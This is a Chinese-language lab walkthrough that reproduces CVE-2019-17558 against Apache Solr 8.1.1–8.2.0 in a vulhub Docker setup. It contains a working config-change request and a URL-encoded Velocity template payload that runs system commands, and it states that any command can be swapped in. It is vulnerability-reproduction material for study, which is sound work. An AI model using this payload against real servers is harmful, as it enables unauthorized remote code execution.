前言
影响Apache Solr 8.1.1到8.2.0版本
环境搭建
启动docker
systemctl start docker
获取vulhub
git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
进入对应目录
cd vulhub/solr/CVE-2019-17558/
启动容器
docker-compose up -d
查看容器
docker ps
漏洞复现
首先,您需要通过以下API获取所有内核名称
http://192.168.164.162:8983/solr/admin/cores?indexInfo=false&wt=json
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{
"demo":{
"name":"demo",
"instanceDir":"/var/solr/data/demo",
"dataDir":"/var/solr/data/demo/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2020-07-06T12:16:23.482Z",
"uptime":3756216}}}
启用配置params.resource.loader.enabled
POST /solr/demo/config HTTP/1.1
Host: 192.168.164.162:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
通过Velocity模板执行命令id
http://192.168.164.162:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
修改exec(%27id%27)
中的代码即可更改命令
参考文章
https://vulhub.org/#/environments/solr/CVE-2019-17558/